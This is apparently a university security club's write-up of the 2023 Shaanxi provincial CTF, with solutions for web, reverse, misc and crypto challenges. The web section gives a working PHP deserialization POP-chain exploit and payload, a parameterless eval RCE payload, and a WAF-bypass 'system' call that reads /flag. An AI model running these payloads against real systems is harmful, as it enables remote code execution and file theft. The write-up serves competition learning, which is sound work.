❝
RANK: 45/600
优秀奖
❞
web
ezpop
用开发者工具查看源码,在第一个 js 中有一个 base64 解出得到路径
/pop3ZTgMw.php
得到源码
<?php
highlight_file(__FILE__);
class night
{
public $night;
public function __destruct(){
echo $this->night . '哒咩哟';
}
}
class day
{
public $day;
public function __toString(){
echo $this->day->go();
}
public function __call($a, $b){
echo $this->day->getFlag();
}
}
class light
{
public $light;
public function __invoke(){
echo $this->light->d();
}
}
class dark
{
public $dark;
public function go(){
($this->dark)();
}
public function getFlag(){
include(hacked($this->dark));
}
}
function hacked($s) {
if(substr($s, 0,1) == '/'){
die('呆jio步');
}
$s = preg_replace('/..*/', '.', $s);
$s = urldecode($s);
$s = htmlentities($s, ENT_QUOTES, 'UTF-8');
return strip_tags($s);
}
$un = unserialize($_POST['快给我传参pop']); //
throw new Exception('seino');
链子:
**destruct()->**toString()->go()->**invoke()->**call(b)->getFlag()
Exp
<?php
highlight_file(__FILE__);
class night
{
public $night;
public function __destruct(){
echo $this->night . '哒咩哟';
}
}
class day
{
public $day;
public function __toString(){
echo $this->day->go();
}
public function __call($a, $b){
echo $this->day->getFlag();
}
}
class light
{
public $light;
public function __invoke(){
echo $this->light->d();
}
}
class dark
{
public $dark = 'file:///flag';
public function go(){
($this->dark)();
}
public function getFlag(){
include(hacked($this->dark));
}
}
$a = new night();
$a -> night = new day();
$a -> night ->day = new dark();
$a -> night ->day -> dark = new light();
$a -> night ->day -> dark ->light = new day();
$a -> night ->day -> dark ->light ->day = new dark();
$b=array(0=>$a,1=>NULL);
echo serialize($b);
//a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:12:"file:///flag";}}}}}}i:1;N;}
之后是不可见字符,url 编码后可以看出来参数为
%E2%80%AE%E2%81%A6%E5%BF%AB%E7%BB%99%E6%88%91%E4%BC%A0%E5%8F%82%E2%81%A9%E2%81%A6pop
之后 GC 回收吧 1 改为 0 即可
最终 pyload
%E2%80%AE%E2%81%A6%E5%BF%AB%E7%BB%99%E6%88%91%E4%BC%A0%E5%8F%82%E2%81%A9%E2%81%A6pop=a:2:{i:0;O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:12:"file:///flag";}}}}}}i:0;N;}
Ezrce
随便输一点得到源码
<?php
error_reporting(0);
include 'waf.php';
header("Content-Type:text/html;charset=utf-8");
echo "你是谁啊哥们?把钥匙给我!!!!<br/>";
$key=$_GET['key'];
$name=$_POST['name'];
$qaq=waf($_POST['qaq']);
if (isset($_GET['key'])){
highlight_file(__FILE__);
}
if (isset($name))
{
echo "你是".$name."大人????<br/>";
$name1=preg_replace('/hahaha/e',$qaq,$name);
echo "骗我的吧,你明明是 >>>>小小".$name1;
}
?>
无参 rce
show_source(session_id(session_start()));
「Unserialize」
源码
<?php
highlight_file(__FILE__);
header("Content-type:text/html;charset=utf-8");
require_once "waf.php";
error_reporting(0);
class getFlag{
private $password;
private $cmd;
public function __destruct(){
if($this->password==" //how to change the private variablessecret"){
system($this->cmd);
}
}
}
$a = $_GET['a'];
if(isset($_GET['a'])){
@eval(waf($a));
}
?>
经过测试加个空格可以直接绕过 waf
a=system ('cat /flag');
RE
我的 upx -d 怎么坏了
用脱壳机脱
找到主要函数
迷宫题
提取出地图
***************
*S000*0000000**
*0**000*****0**
*0*00*0*000*0**
*000**0*0*0*0**
*0***00*0*0*00*
*0***0**0*0**0*
*000*0*00*00*0*
***0*0******0#*
***0*00000000**
*000********0**
*0***00000*00**
*0*0*****0**0**
*0000000*00000*
***************
有两种路线
RRRDRRDDDLDDDDRRRRRRRUR
RRRDRRURRRRRRDDDDRDDD
最短路线 md5
flag{ae2de0be8285f69db701d4dba8721a40}
misc
「可是雪啊飘进双眼」
hint.wav
摩斯
woaishanxi
解 snow.txt
测试为大写
压缩包密码 shanxiroujiamo
然后看 key.jpg
密码表
文件尾分离压缩包里面是密码
BC1PVEYD
解 steghide
flag{d2d2835882495f4e39ecce6847e78f86}
管道
「你是不是很疑惑呢」
解压扫码
an inch of {TIME} is an inch of gold, an inch of gold cannot buy an inch of {TIME}
❝
提示:本题中 zip 和 rar 的巨大不同会导致你解压时重要属性被变更
❞
根据 TIME 和题目的疑惑
再看文件属性
未来的时间
猜测是文件的创建日期和修改日期异或
写脚本
import os
nums = ['零', '壹', '贰', '叁', '肆', '伍', '陆', '柒', '捌', '玖', '壹拾', '壹拾壹', '壹拾贰', '壹拾叁', '壹拾肆', '壹拾伍', '壹拾陆', '壹拾柒', '壹拾捌', '壹拾玖', '贰拾', '贰拾壹', '贰拾贰', '贰拾叁', '贰拾肆', '贰拾伍',
'贰拾陆', '贰拾柒', '贰拾捌', '贰拾玖', '叁拾', '叁拾壹', '叁拾贰', '叁拾叁', '叁拾肆', '叁拾伍', '叁拾陆', '叁拾柒', '叁拾捌']
flag = [int(os.stat(num+'.png').st_ctime) ^ int(os.stat(num+'.png').st_mtime) for num in nums]
print("".join([chr(i) for i in flag]))
flag{Tim3_1s_a_w0nd3rfuL_Th1ng_alright}
crypto
「HaM3」
[MTCTF 2021]hamburgerRSA 基本是原题
# sage
from Crypto.Util.number import *
import gmpy2
nbit = 64
n = 142672086626283587048017713116658568907056287246536918432205313755474498483915485435443731126588499776739329317569276048159601495493064346081295993762052633
high = str(n)[:19]
low = str(n)[-18:]
for i in range(10):
for j in range(10):
pq = int(high + str(i) + str(j) + low)
f = factor(pq)
if len(f) == 2 and f[0][0].nbits() == 64:
p = f[0][0]
q = f[1][0]
print(p,q)
break
c = 35771468551700967499031290145813826705314774357494021918317304230766070868171631520643911378972522363861624359732252684003796428570328730483253546904382041
e = 65537
PP = int(str(p) + str(q) + str(q) + str(p))
QQ = int(str(q) + str(p) + str(p) + str(q))
fai_n = (PP-1)*(QQ-1)
d = gmpy2.invert(e,fai_n)
m = pow(c,d,PP*QQ)
print(long_to_bytes(int(m)))
b'flag{HaMbu2g3r_1S_2ea1ll_D3lci0U3_By_R3A!!}'
长
按
关
注
网络安全社团公众号
微信号 : qlnu_ctf
新浪微博:齐鲁师范学院网络安全社团
原文始发于微信公众号(齐鲁师院网络安全社团):2023年第三届陕西省大学生网络安全技能大赛WP
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论